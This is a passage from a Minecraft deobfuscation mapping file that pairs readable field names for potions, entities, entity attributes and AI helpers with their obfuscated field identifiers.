net/minecraft/potion/Potion/field_76416_I +FD: net/minecraft/potion/Potion/statusIconIndex net/minecraft/potion/Potion/field_76417_J +FD: net/minecraft/potion/Potion/effectiveness net/minecraft/potion/Potion/field_76412_L +FD: net/minecraft/potion/Potion/usable net/minecraft/potion/Potion/field_76413_M +FD: net/minecraft/potion/Potion/potionTypes net/minecraft/potion/Potion/field_76425_a +FD: net/minecraft/potion/Potion/field_180151_b net/minecraft/potion/Potion/field_180151_b +FD: net/minecraft/potion/Potion/moveSpeed net/minecraft/potion/Potion/field_76424_c +FD: net/minecraft/potion/Potion/moveSlowdown net/minecraft/potion/Potion/field_76421_d +FD: net/minecraft/potion/Potion/digSpeed net/minecraft/potion/Potion/field_76422_e +FD: net/minecraft/potion/Potion/digSlowdown net/minecraft/potion/Potion/field_76419_f +FD: net/minecraft/potion/Potion/damageBoost net/minecraft/potion/Potion/field_76420_g +FD: net/minecraft/potion/Potion/heal net/minecraft/potion/Potion/field_76432_h +FD: net/minecraft/potion/Potion/harm net/minecraft/potion/Potion/field_76433_i +FD: net/minecraft/potion/Potion/jump net/minecraft/potion/Potion/field_76430_j +FD: net/minecraft/potion/Potion/confusion net/minecraft/potion/Potion/field_76431_k +FD: net/minecraft/potion/Potion/regeneration net/minecraft/potion/Potion/field_76428_l +FD: net/minecraft/potion/Potion/resistance net/minecraft/potion/Potion/field_76429_m +FD: net/minecraft/potion/Potion/fireResistance net/minecraft/potion/Potion/field_76426_n +FD: net/minecraft/potion/Potion/waterBreathing net/minecraft/potion/Potion/field_76427_o +FD: net/minecraft/potion/Potion/invisibility net/minecraft/potion/Potion/field_76441_p +FD: net/minecraft/potion/Potion/blindness net/minecraft/potion/Potion/field_76440_q +FD: net/minecraft/potion/Potion/nightVision net/minecraft/potion/Potion/field_76439_r +FD: net/minecraft/potion/Potion/hunger net/minecraft/potion/Potion/field_76438_s +FD: net/minecraft/potion/Potion/weakness net/minecraft/potion/Potion/field_76437_t +FD: net/minecraft/potion/Potion/poison net/minecraft/potion/Potion/field_76436_u +FD: net/minecraft/potion/Potion/wither net/minecraft/potion/Potion/field_82731_v +FD: net/minecraft/potion/Potion/healthBoost net/minecraft/potion/Potion/field_180152_w +FD: net/minecraft/potion/Potion/absorption net/minecraft/potion/Potion/field_76444_x +FD: net/minecraft/potion/Potion/saturation net/minecraft/potion/Potion/field_76443_y +FD: net/minecraft/potion/Potion/field_180153_z net/minecraft/potion/Potion/field_180153_z +FD: net/minecraft/potion/PotionEffect/LOGGER net/minecraft/potion/PotionEffect/field_180155_a +FD: net/minecraft/potion/PotionEffect/potionID net/minecraft/potion/PotionEffect/field_76462_a +FD: net/minecraft/potion/PotionEffect/duration net/minecraft/potion/PotionEffect/field_76460_b +FD: net/minecraft/potion/PotionEffect/amplifier net/minecraft/potion/PotionEffect/field_76461_c +FD: net/minecraft/potion/PotionEffect/isSplashPotion net/minecraft/potion/PotionEffect/field_82723_d +FD: net/minecraft/potion/PotionEffect/isAmbient net/minecraft/potion/PotionEffect/field_82724_e +FD: net/minecraft/potion/PotionEffect/isPotionDurationMax net/minecraft/potion/PotionEffect/field_100013_f +FD: net/minecraft/potion/PotionEffect/showParticles net/minecraft/potion/PotionEffect/field_180156_h +FD: net/minecraft/entity/EntityAgeable/growingAge net/minecraft/entity/EntityAgeable/field_175504_a +FD: net/minecraft/entity/EntityAgeable/field_175502_b net/minecraft/entity/EntityAgeable/field_175502_b +FD: net/minecraft/entity/EntityAgeable/ageWidth net/minecraft/entity/EntityAgeable/field_98056_d +FD: net/minecraft/entity/EntityAgeable/ageHeight net/minecraft/entity/EntityAgeable/field_98057_e +FD: net/minecraft/entity/EntityAgeable/field_175503_c net/minecraft/entity/EntityAgeable/field_175503_c +FD: net/minecraft/entity/Entity$1/field_85155_a net/minecraft/entity/Entity$1/field_85155_a +FD: net/minecraft/entity/Entity$2/field_96564_a net/minecraft/entity/Entity$2/field_96564_a +FD: net/minecraft/entity/Entity$3/field_180119_a net/minecraft/entity/Entity$3/field_180119_a +FD: net/minecraft/entity/Entity$4/field_180117_a net/minecraft/entity/Entity$4/field_180117_a +FD: net/minecraft/entity/Entity/prevRotationYaw net/minecraft/entity/Entity/field_70126_B +FD: net/minecraft/entity/Entity/prevRotationPitch net/minecraft/entity/Entity/field_70127_C +FD: net/minecraft/entity/Entity/onGround net/minecraft/entity/Entity/field_70122_E +FD: net/minecraft/entity/Entity/isCollidedHorizontally net/minecraft/entity/Entity/field_70123_F +FD: net/minecraft/entity/Entity/isCollidedVertically net/minecraft/entity/Entity/field_70124_G +FD: net/minecraft/entity/Entity/isCollided net/minecraft/entity/Entity/field_70132_H +FD: net/minecraft/entity/Entity/velocityChanged net/minecraft/entity/Entity/field_70133_I +FD: net/minecraft/entity/Entity/isInWeb net/minecraft/entity/Entity/field_70134_J +FD: net/minecraft/entity/Entity/isDead net/minecraft/entity/Entity/field_70128_L +FD: net/minecraft/entity/Entity/width net/minecraft/entity/Entity/field_70130_N +FD: net/minecraft/entity/Entity/height net/minecraft/entity/Entity/field_70131_O +FD: net/minecraft/entity/Entity/prevDistanceWalkedModified net/minecraft/entity/Entity/field_70141_P +FD: net/minecraft/entity/Entity/distanceWalkedModified net/minecraft/entity/Entity/field_70140_Q +FD: net/minecraft/entity/Entity/distanceWalkedOnStepModified net/minecraft/entity/Entity/field_82151_R +FD: net/minecraft/entity/Entity/fallDistance net/minecraft/entity/Entity/field_70143_R +FD: net/minecraft/entity/Entity/lastTickPosX net/minecraft/entity/Entity/field_70142_S +FD: net/minecraft/entity/Entity/lastTickPosY net/minecraft/entity/Entity/field_70137_T +FD: net/minecraft/entity/Entity/lastTickPosZ net/minecraft/entity/Entity/field_70136_U +FD: net/minecraft/entity/Entity/stepHeight net/minecraft/entity/Entity/field_70138_W +FD: net/minecraft/entity/Entity/noClip net/minecraft/entity/Entity/field_70145_X +FD: net/minecraft/entity/Entity/entityCollisionReduction net/minecraft/entity/Entity/field_70144_Y +FD: net/minecraft/entity/Entity/rand net/minecraft/entity/Entity/field_70146_Z +FD: net/minecraft/entity/Entity/ticksExisted net/minecraft/entity/Entity/field_70173_aa +FD: net/minecraft/entity/Entity/fireResistance net/minecraft/entity/Entity/field_70174_ab +FD: net/minecraft/entity/Entity/inWater net/minecraft/entity/Entity/field_70171_ac +FD: net/minecraft/entity/Entity/hurtResistantTime net/minecraft/entity/Entity/field_70172_ad +FD: net/minecraft/entity/Entity/ZERO_AABB net/minecraft/entity/Entity/field_174836_a +FD: net/minecraft/entity/Entity/firstUpdate net/minecraft/entity/Entity/field_70148_d +FD: net/minecraft/entity/Entity/isImmuneToFire net/minecraft/entity/Entity/field_70178_ae +FD: net/minecraft/entity/Entity/dataWatcher net/minecraft/entity/Entity/field_70180_af +FD: net/minecraft/entity/Entity/addedToChunk net/minecraft/entity/Entity/field_70175_ag +FD: net/minecraft/entity/Entity/chunkCoordX net/minecraft/entity/Entity/field_70176_ah +FD: net/minecraft/entity/Entity/chunkCoordY net/minecraft/entity/Entity/field_70162_ai +FD: net/minecraft/entity/Entity/chunkCoordZ net/minecraft/entity/Entity/field_70164_aj +FD: net/minecraft/entity/Entity/ignoreFrustumCheck net/minecraft/entity/Entity/field_70158_ak +FD: net/minecraft/entity/Entity/isAirBorne net/minecraft/entity/Entity/field_70160_al +FD: net/minecraft/entity/Entity/timeUntilPortal net/minecraft/entity/Entity/field_71088_bW +FD: net/minecraft/entity/Entity/inPortal net/minecraft/entity/Entity/field_71087_bX +FD: net/minecraft/entity/Entity/portalCounter net/minecraft/entity/Entity/field_82153_h +FD: net/minecraft/entity/Entity/dimension net/minecraft/entity/Entity/field_71093_bK +FD: net/minecraft/entity/Entity/lastPortalPos net/minecraft/entity/Entity/field_181016_an +FD: net/minecraft/entity/Entity/lastPortalVec net/minecraft/entity/Entity/field_181017_ao +FD: net/minecraft/entity/Entity/teleportDirection net/minecraft/entity/Entity/field_181018_ap +FD: net/minecraft/entity/Entity/entityUniqueID net/minecraft/entity/Entity/field_96093_i +FD: net/minecraft/entity/Entity/entityRiderPitchDelta net/minecraft/entity/Entity/field_70149_e +FD: net/minecraft/entity/Entity/entityRiderYawDelta net/minecraft/entity/Entity/field_70147_f +FD: net/minecraft/entity/Entity/invulnerable net/minecraft/entity/Entity/field_83001_bt +FD: net/minecraft/entity/Entity/cmdResultStats net/minecraft/entity/Entity/field_174837_as +FD: net/minecraft/entity/Entity/nextEntityID net/minecraft/entity/Entity/field_70152_a +FD: net/minecraft/entity/Entity/serverPosX net/minecraft/entity/Entity/field_70118_ct +FD: net/minecraft/entity/Entity/serverPosY net/minecraft/entity/Entity/field_70117_cu +FD: net/minecraft/entity/Entity/serverPosZ net/minecraft/entity/Entity/field_70116_cv +FD: net/minecraft/entity/Entity/entityId net/minecraft/entity/Entity/field_145783_c +FD: net/minecraft/entity/Entity/boundingBox net/minecraft/entity/Entity/field_70121_D +FD: net/minecraft/entity/Entity/isOutsideBorder net/minecraft/entity/Entity/field_174835_g +FD: net/minecraft/entity/Entity/nextStepDistance net/minecraft/entity/Entity/field_70150_b +FD: net/minecraft/entity/Entity/fire net/minecraft/entity/Entity/field_70151_c +FD: net/minecraft/entity/Entity/renderDistanceWeight net/minecraft/entity/Entity/field_70155_l +FD: net/minecraft/entity/Entity/preventEntitySpawning net/minecraft/entity/Entity/field_70156_m +FD: net/minecraft/entity/Entity/riddenByEntity net/minecraft/entity/Entity/field_70153_n +FD: net/minecraft/entity/Entity/ridingEntity net/minecraft/entity/Entity/field_70154_o +FD: net/minecraft/entity/Entity/forceSpawn net/minecraft/entity/Entity/field_98038_p +FD: net/minecraft/entity/Entity/worldObj net/minecraft/entity/Entity/field_70170_p +FD: net/minecraft/entity/Entity/prevPosX net/minecraft/entity/Entity/field_70169_q +FD: net/minecraft/entity/Entity/prevPosY net/minecraft/entity/Entity/field_70167_r +FD: net/minecraft/entity/Entity/prevPosZ net/minecraft/entity/Entity/field_70166_s +FD: net/minecraft/entity/Entity/posX net/minecraft/entity/Entity/field_70165_t +FD: net/minecraft/entity/Entity/posY net/minecraft/entity/Entity/field_70163_u +FD: net/minecraft/entity/Entity/posZ net/minecraft/entity/Entity/field_70161_v +FD: net/minecraft/entity/Entity/motionX net/minecraft/entity/Entity/field_70159_w +FD: net/minecraft/entity/Entity/motionY net/minecraft/entity/Entity/field_70181_x +FD: net/minecraft/entity/Entity/motionZ net/minecraft/entity/Entity/field_70179_y +FD: net/minecraft/entity/Entity/rotationYaw net/minecraft/entity/Entity/field_70177_z +FD: net/minecraft/entity/Entity/rotationPitch net/minecraft/entity/Entity/field_70125_A +FD: net/minecraft/entity/EntityList$EntityEggInfo/spawnedID net/minecraft/entity/EntityList$EntityEggInfo/field_75613_a +FD: net/minecraft/entity/EntityList$EntityEggInfo/primaryColor net/minecraft/entity/EntityList$EntityEggInfo/field_75611_b +FD: net/minecraft/entity/EntityList$EntityEggInfo/secondaryColor net/minecraft/entity/EntityList$EntityEggInfo/field_75612_c +FD: net/minecraft/entity/EntityList$EntityEggInfo/field_151512_d net/minecraft/entity/EntityList$EntityEggInfo/field_151512_d +FD: net/minecraft/entity/EntityList$EntityEggInfo/field_151513_e net/minecraft/entity/EntityList$EntityEggInfo/field_151513_e +FD: net/minecraft/entity/EntityList/entityEggs net/minecraft/entity/EntityList/field_75627_a +FD: net/minecraft/entity/EntityList/logger net/minecraft/entity/EntityList/field_151516_b +FD: net/minecraft/entity/EntityList/stringToClassMapping net/minecraft/entity/EntityList/field_75625_b +FD: net/minecraft/entity/EntityList/classToStringMapping net/minecraft/entity/EntityList/field_75626_c +FD: net/minecraft/entity/EntityList/idToClassMapping net/minecraft/entity/EntityList/field_75623_d +FD: net/minecraft/entity/EntityList/classToIDMapping net/minecraft/entity/EntityList/field_75624_e +FD: net/minecraft/entity/EntityList/stringToIDMapping net/minecraft/entity/EntityList/field_180126_g +FD: net/minecraft/util/EntitySelectors$ArmoredMob/armor net/minecraft/util/EntitySelectors$ArmoredMob/field_96567_c +FD: net/minecraft/util/EntitySelectors/selectAnything net/minecraft/util/EntitySelectors/field_94557_a +FD: net/minecraft/util/EntitySelectors/IS_STANDALONE net/minecraft/util/EntitySelectors/field_152785_b +FD: net/minecraft/util/EntitySelectors/selectInventories net/minecraft/util/EntitySelectors/field_96566_b +FD: net/minecraft/util/EntitySelectors/NOT_SPECTATING net/minecraft/util/EntitySelectors/field_180132_d +FD: net/minecraft/entity/item/EntityXPOrb/xpColor net/minecraft/entity/item/EntityXPOrb/field_70533_a +FD: net/minecraft/entity/item/EntityXPOrb/xpOrbAge net/minecraft/entity/item/EntityXPOrb/field_70531_b +FD: net/minecraft/entity/item/EntityXPOrb/delayBeforeCanPickup net/minecraft/entity/item/EntityXPOrb/field_70532_c +FD: net/minecraft/entity/item/EntityXPOrb/xpOrbHealth net/minecraft/entity/item/EntityXPOrb/field_70529_d +FD: net/minecraft/entity/item/EntityXPOrb/xpValue net/minecraft/entity/item/EntityXPOrb/field_70530_e +FD: net/minecraft/entity/item/EntityXPOrb/closestPlayer net/minecraft/entity/item/EntityXPOrb/field_80001_f +FD: net/minecraft/entity/item/EntityXPOrb/xpTargetColor net/minecraft/entity/item/EntityXPOrb/field_80002_g +FD: net/minecraft/entity/EntityLivingBase$1/field_181170_a net/minecraft/entity/EntityLivingBase$1/field_181170_a +FD: net/minecraft/entity/EntityLivingBase/sprintingSpeedBoostModifierUUID net/minecraft/entity/EntityLivingBase/field_110156_b +FD: net/minecraft/entity/EntityLivingBase/prevLimbSwingAmount net/minecraft/entity/EntityLivingBase/field_70722_aY +FD: net/minecraft/entity/EntityLivingBase/limbSwingAmount net/minecraft/entity/EntityLivingBase/field_70721_aZ +FD: net/minecraft/entity/EntityLivingBase/limbSwing net/minecraft/entity/EntityLivingBase/field_70754_ba +FD: net/minecraft/entity/EntityLivingBase/maxHurtResistantTime net/minecraft/entity/EntityLivingBase/field_70771_an +FD: net/minecraft/entity/EntityLivingBase/prevCameraPitch net/minecraft/entity/EntityLivingBase/field_70727_aS +FD: net/minecraft/entity/EntityLivingBase/cameraPitch net/minecraft/entity/EntityLivingBase/field_70726_aT +FD: net/minecraft/entity/EntityLivingBase/randomUnused2 net/minecraft/entity/EntityLivingBase/field_70769_ao +FD: net/minecraft/entity/EntityLivingBase/randomUnused1 net/minecraft/entity/EntityLivingBase/field_70770_ap +FD: net/minecraft/entity/EntityLivingBase/renderYawOffset net/minecraft/entity/EntityLivingBase/field_70761_aq +FD: net/minecraft/entity/EntityLivingBase/prevRenderYawOffset net/minecraft/entity/EntityLivingBase/field_70760_ar +FD: net/minecraft/entity/EntityLivingBase/rotationYawHead net/minecraft/entity/EntityLivingBase/field_70759_as +FD: net/minecraft/entity/EntityLivingBase/prevRotationYawHead net/minecraft/entity/EntityLivingBase/field_70758_at +FD: net/minecraft/entity/EntityLivingBase/jumpMovementFactor net/minecraft/entity/EntityLivingBase/field_70747_aH +FD: net/minecraft/entity/EntityLivingBase/attackingPlayer net/minecraft/entity/EntityLivingBase/field_70717_bb +FD: net/minecraft/entity/EntityLivingBase/recentlyHit net/minecraft/entity/EntityLivingBase/field_70718_bc +FD: net/minecraft/entity/EntityLivingBase/dead net/minecraft/entity/EntityLivingBase/field_70729_aU +FD: net/minecraft/entity/EntityLivingBase/entityAge net/minecraft/entity/EntityLivingBase/field_70708_bq +FD: net/minecraft/entity/EntityLivingBase/prevOnGroundSpeedFactor net/minecraft/entity/EntityLivingBase/field_70768_au +FD: net/minecraft/entity/EntityLivingBase/onGroundSpeedFactor net/minecraft/entity/EntityLivingBase/field_110154_aX +FD: net/minecraft/entity/EntityLivingBase/movedDistance net/minecraft/entity/EntityLivingBase/field_70764_aw +FD: net/minecraft/entity/EntityLivingBase/prevMovedDistance net/minecraft/entity/EntityLivingBase/field_70763_ax +FD: net/minecraft/entity/EntityLivingBase/unused180 net/minecraft/entity/EntityLivingBase/field_70741_aB +FD: net/minecraft/entity/EntityLivingBase/scoreValue net/minecraft/entity/EntityLivingBase/field_70744_aE +FD: net/minecraft/entity/EntityLivingBase/lastDamage net/minecraft/entity/EntityLivingBase/field_110153_bc +FD: net/minecraft/entity/EntityLivingBase/isJumping net/minecraft/entity/EntityLivingBase/field_70703_bu +FD: net/minecraft/entity/EntityLivingBase/moveStrafing net/minecraft/entity/EntityLivingBase/field_70702_br +FD: net/minecraft/entity/EntityLivingBase/isSwingInProgress net/minecraft/entity/EntityLivingBase/field_82175_bq +FD: net/minecraft/entity/EntityLivingBase/swingProgressInt net/minecraft/entity/EntityLivingBase/field_110158_av +FD: net/minecraft/entity/EntityLivingBase/arrowHitTimer net/minecraft/entity/EntityLivingBase/field_70720_be +FD: net/minecraft/entity/EntityLivingBase/hurtTime net/minecraft/entity/EntityLivingBase/field_70737_aN +FD: net/minecraft/entity/EntityLivingBase/maxHurtTime net/minecraft/entity/EntityLivingBase/field_70738_aO +FD: net/minecraft/entity/EntityLivingBase/attackedAtYaw net/minecraft/entity/EntityLivingBase/field_70739_aP +FD: net/minecraft/entity/EntityLivingBase/deathTime net/minecraft/entity/EntityLivingBase/field_70725_aQ +FD: net/minecraft/entity/EntityLivingBase/prevSwingProgress net/minecraft/entity/EntityLivingBase/field_70732_aI +FD: net/minecraft/entity/EntityLivingBase/swingProgress net/minecraft/entity/EntityLivingBase/field_70733_aJ +FD: net/minecraft/entity/EntityLivingBase/sprintingSpeedBoostModifier net/minecraft/entity/EntityLivingBase/field_110157_c +FD: net/minecraft/entity/EntityLivingBase/moveForward net/minecraft/entity/EntityLivingBase/field_70701_bs +FD: net/minecraft/entity/EntityLivingBase/randomYawVelocity net/minecraft/entity/EntityLivingBase/field_70704_bt +FD: net/minecraft/entity/EntityLivingBase/newPosRotationIncrements net/minecraft/entity/EntityLivingBase/field_70716_bi +FD: net/minecraft/entity/EntityLivingBase/newPosX net/minecraft/entity/EntityLivingBase/field_70709_bj +FD: net/minecraft/entity/EntityLivingBase/newPosY net/minecraft/entity/EntityLivingBase/field_70710_bk +FD: net/minecraft/entity/EntityLivingBase/newPosZ net/minecraft/entity/EntityLivingBase/field_110152_bk +FD: net/minecraft/entity/EntityLivingBase/newRotationYaw net/minecraft/entity/EntityLivingBase/field_70712_bm +FD: net/minecraft/entity/EntityLivingBase/newRotationPitch net/minecraft/entity/EntityLivingBase/field_70705_bn +FD: net/minecraft/entity/EntityLivingBase/entityLivingToAttack net/minecraft/entity/EntityLivingBase/field_70755_b +FD: net/minecraft/entity/EntityLivingBase/revengeTimer net/minecraft/entity/EntityLivingBase/field_70756_c +FD: net/minecraft/entity/EntityLivingBase/lastAttacker net/minecraft/entity/EntityLivingBase/field_110150_bn +FD: net/minecraft/entity/EntityLivingBase/lastAttackerTime net/minecraft/entity/EntityLivingBase/field_142016_bo +FD: net/minecraft/entity/EntityLivingBase/landMovementFactor net/minecraft/entity/EntityLivingBase/field_70746_aG +FD: net/minecraft/entity/EntityLivingBase/jumpTicks net/minecraft/entity/EntityLivingBase/field_70773_bE +FD: net/minecraft/entity/EntityLivingBase/absorptionAmount net/minecraft/entity/EntityLivingBase/field_110151_bq +FD: net/minecraft/entity/EntityLivingBase/attributeMap net/minecraft/entity/EntityLivingBase/field_110155_d +FD: net/minecraft/entity/EntityLivingBase/_combatTracker net/minecraft/entity/EntityLivingBase/field_94063_bt +FD: net/minecraft/entity/EntityLivingBase/activePotionsMap net/minecraft/entity/EntityLivingBase/field_70713_bf +FD: net/minecraft/entity/EntityLivingBase/previousEquipment net/minecraft/entity/EntityLivingBase/field_82180_bT +FD: net/minecraft/entity/EntityLivingBase/potionsNeedUpdate net/minecraft/entity/EntityLivingBase/field_70752_e +FD: net/minecraft/entity/EntityLiving$SpawnPlacementType/ON_GROUND net/minecraft/entity/EntityLiving$SpawnPlacementType/ON_GROUND +FD: net/minecraft/entity/EntityLiving$SpawnPlacementType/IN_AIR net/minecraft/entity/EntityLiving$SpawnPlacementType/IN_AIR +FD: net/minecraft/entity/EntityLiving$SpawnPlacementType/IN_WATER net/minecraft/entity/EntityLiving$SpawnPlacementType/IN_WATER +FD: net/minecraft/entity/EntityLiving$SpawnPlacementType/$VALUES net/minecraft/entity/EntityLiving$SpawnPlacementType/$VALUES +FD: net/minecraft/entity/EntityLiving/lookHelper net/minecraft/entity/EntityLiving/field_70749_g +FD: net/minecraft/entity/EntityLiving/livingSoundTime net/minecraft/entity/EntityLiving/field_70757_a +FD: net/minecraft/entity/EntityLiving/bodyHelper net/minecraft/entity/EntityLiving/field_70762_j +FD: net/minecraft/entity/EntityLiving/experienceValue net/minecraft/entity/EntityLiving/field_70728_aV +FD: net/minecraft/entity/EntityLiving/targetTasks net/minecraft/entity/EntityLiving/field_70715_bh +FD: net/minecraft/entity/EntityLiving/equipmentDropChances net/minecraft/entity/EntityLiving/field_82174_bp +FD: net/minecraft/entity/EntityLiving/senses net/minecraft/entity/EntityLiving/field_70723_bA +FD: net/minecraft/entity/EntityLiving/equipment net/minecraft/entity/EntityLiving/field_82182_bS +FD: net/minecraft/entity/EntityLiving/canPickUpLoot net/minecraft/entity/EntityLiving/field_82172_bs +FD: net/minecraft/entity/EntityLiving/persistenceRequired net/minecraft/entity/EntityLiving/field_82179_bU +FD: net/minecraft/entity/EntityLiving/isLeashed net/minecraft/entity/EntityLiving/field_110169_bv +FD: net/minecraft/entity/EntityLiving/leashedToEntity net/minecraft/entity/EntityLiving/field_110168_bw +FD: net/minecraft/entity/EntityLiving/leashNBTTag net/minecraft/entity/EntityLiving/field_110170_bx +FD: net/minecraft/entity/EntityLiving/attackTarget net/minecraft/entity/EntityLiving/field_70696_bz +FD: net/minecraft/entity/EntityLiving/moveHelper net/minecraft/entity/EntityLiving/field_70765_h +FD: net/minecraft/entity/EntityLiving/jumpHelper net/minecraft/entity/EntityLiving/field_70767_i +FD: net/minecraft/entity/EntityLiving/navigator net/minecraft/entity/EntityLiving/field_70699_by +FD: net/minecraft/entity/EntityLiving/tasks net/minecraft/entity/EntityLiving/field_70714_bg +FD: net/minecraft/entity/EnumCreatureType/MONSTER net/minecraft/entity/EnumCreatureType/MONSTER +FD: net/minecraft/entity/EnumCreatureType/CREATURE net/minecraft/entity/EnumCreatureType/CREATURE +FD: net/minecraft/entity/EnumCreatureType/AMBIENT net/minecraft/entity/EnumCreatureType/AMBIENT +FD: net/minecraft/entity/EnumCreatureType/WATER_CREATURE net/minecraft/entity/EnumCreatureType/WATER_CREATURE +FD: net/minecraft/entity/EnumCreatureType/creatureClass net/minecraft/entity/EnumCreatureType/field_75605_d +FD: net/minecraft/entity/EnumCreatureType/maxNumberOfCreature net/minecraft/entity/EnumCreatureType/field_75606_e +FD: net/minecraft/entity/EnumCreatureType/creatureMaterial net/minecraft/entity/EnumCreatureType/field_75603_f +FD: net/minecraft/entity/EnumCreatureType/isPeacefulCreature net/minecraft/entity/EnumCreatureType/field_75604_g +FD: net/minecraft/entity/EnumCreatureType/isAnimal net/minecraft/entity/EnumCreatureType/field_82707_i +FD: net/minecraft/entity/EnumCreatureType/$VALUES net/minecraft/entity/EnumCreatureType/$VALUES +FD: net/minecraft/entity/EntitySpawnPlacementRegistry/ENTITY_PLACEMENTS net/minecraft/entity/EntitySpawnPlacementRegistry/field_180110_a +FD: net/minecraft/entity/EnumCreatureAttribute/UNDEFINED net/minecraft/entity/EnumCreatureAttribute/UNDEFINED +FD: net/minecraft/entity/EnumCreatureAttribute/UNDEAD net/minecraft/entity/EnumCreatureAttribute/UNDEAD +FD: net/minecraft/entity/EnumCreatureAttribute/ARTHROPOD net/minecraft/entity/EnumCreatureAttribute/ARTHROPOD +FD: net/minecraft/entity/EnumCreatureAttribute/$VALUES net/minecraft/entity/EnumCreatureAttribute/$VALUES +FD: net/minecraft/entity/EntityCreature/homePosition net/minecraft/entity/EntityCreature/field_70775_bC +FD: net/minecraft/entity/EntityCreature/maximumHomeDistance net/minecraft/entity/EntityCreature/field_70772_bD +FD: net/minecraft/entity/EntityCreature/FLEEING_SPEED_MODIFIER_UUID net/minecraft/entity/EntityCreature/field_110179_h +FD: net/minecraft/entity/EntityCreature/FLEEING_SPEED_MODIFIER net/minecraft/entity/EntityCreature/field_110181_i +FD: net/minecraft/entity/EntityCreature/isMovementAITaskSet net/minecraft/entity/EntityCreature/field_110180_bt +FD: net/minecraft/entity/EntityCreature/aiBase net/minecraft/entity/EntityCreature/field_110178_bs +FD: net/minecraft/entity/DataWatcher$WatchableObject/objectType net/minecraft/entity/DataWatcher$WatchableObject/field_75678_a +FD: net/minecraft/entity/DataWatcher$WatchableObject/dataValueId net/minecraft/entity/DataWatcher$WatchableObject/field_75676_b +FD: net/minecraft/entity/DataWatcher$WatchableObject/watchedObject net/minecraft/entity/DataWatcher$WatchableObject/field_75677_c +FD: net/minecraft/entity/DataWatcher$WatchableObject/watched net/minecraft/entity/DataWatcher$WatchableObject/field_75675_d +FD: net/minecraft/entity/DataWatcher/owner net/minecraft/entity/DataWatcher/field_151511_a +FD: net/minecraft/entity/DataWatcher/isBlank net/minecraft/entity/DataWatcher/field_92086_a +FD: net/minecraft/entity/DataWatcher/dataTypes net/minecraft/entity/DataWatcher/field_75697_a +FD: net/minecraft/entity/DataWatcher/watchedObjects net/minecraft/entity/DataWatcher/field_75695_b +FD: net/minecraft/entity/DataWatcher/objectChanged net/minecraft/entity/DataWatcher/field_75696_c +FD: net/minecraft/entity/DataWatcher/lock net/minecraft/entity/DataWatcher/field_75694_d +FD: net/minecraft/command/server/CommandBanIp/field_147211_a net/minecraft/command/server/CommandBanIp/field_147211_a +FD: net/minecraft/entity/passive/EntityTameable/aiSit net/minecraft/entity/passive/EntityTameable/field_70911_d +FD: net/minecraft/entity/ai/attributes/AttributeModifier/amount net/minecraft/entity/ai/attributes/AttributeModifier/field_111174_a +FD: net/minecraft/entity/ai/attributes/AttributeModifier/operation net/minecraft/entity/ai/attributes/AttributeModifier/field_111172_b +FD: net/minecraft/entity/ai/attributes/AttributeModifier/name net/minecraft/entity/ai/attributes/AttributeModifier/field_111173_c +FD: net/minecraft/entity/ai/attributes/AttributeModifier/id net/minecraft/entity/ai/attributes/AttributeModifier/field_111170_d +FD: net/minecraft/entity/ai/attributes/AttributeModifier/isSaved net/minecraft/entity/ai/attributes/AttributeModifier/field_111171_e +FD: net/minecraft/entity/ai/attributes/BaseAttribute/field_180373_a net/minecraft/entity/ai/attributes/BaseAttribute/field_180373_a +FD: net/minecraft/entity/ai/attributes/BaseAttribute/unlocalizedName net/minecraft/entity/ai/attributes/BaseAttribute/field_111115_a +FD: net/minecraft/entity/ai/attributes/BaseAttribute/defaultValue net/minecraft/entity/ai/attributes/BaseAttribute/field_111113_b +FD: net/minecraft/entity/ai/attributes/BaseAttribute/shouldWatch net/minecraft/entity/ai/attributes/BaseAttribute/field_111114_c +FD: net/minecraft/entity/ai/attributes/BaseAttributeMap/attributes net/minecraft/entity/ai/attributes/BaseAttributeMap/field_111154_a +FD: net/minecraft/entity/ai/attributes/BaseAttributeMap/attributesByName net/minecraft/entity/ai/attributes/BaseAttributeMap/field_111153_b +FD: net/minecraft/entity/ai/attributes/BaseAttributeMap/field_180377_c net/minecraft/entity/ai/attributes/BaseAttributeMap/field_180377_c +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/attributeMap net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111138_a +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/genericAttribute net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111136_b +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/mapByOperation net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111137_c +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/mapByName net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111134_d +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/mapByUUID net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111135_e +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/baseValue net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111132_f +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/needsUpdate net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111133_g +FD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/cachedValue net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/field_111139_h +FD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/descriptionToAttributeInstanceMap net/minecraft/entity/ai/attributes/ServersideAttributeMap/field_111163_c +FD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/attributeInstanceSet net/minecraft/entity/ai/attributes/ServersideAttributeMap/field_111162_d +FD: net/minecraft/entity/ai/attributes/RangedAttribute/minimumValue net/minecraft/entity/ai/attributes/RangedAttribute/field_111120_a +FD: net/minecraft/entity/ai/attributes/RangedAttribute/maximumValue net/minecraft/entity/ai/attributes/RangedAttribute/field_111118_b +FD: net/minecraft/entity/ai/attributes/RangedAttribute/description net/minecraft/entity/ai/attributes/RangedAttribute/field_111119_c +FD: net/minecraft/entity/EntityBodyHelper/theLiving net/minecraft/entity/EntityBodyHelper/field_75668_a +FD: net/minecraft/entity/EntityBodyHelper/rotationTickCounter net/minecraft/entity/EntityBodyHelper/field_75666_b +FD: net/minecraft/entity/EntityBodyHelper/prevRenderYawHead net/minecraft/entity/EntityBodyHelper/field_75667_c +FD: net/minecraft/entity/ai/EntityJumpHelper/isJumping net/minecraft/entity/ai/EntityJumpHelper/field_75662_b +FD: net/minecraft/entity/ai/EntityJumpHelper/entity net/minecraft/entity/ai/EntityJumpHelper/field_75663_a +FD: net/minecraft/entity/ai/EntityLookHelper/entity 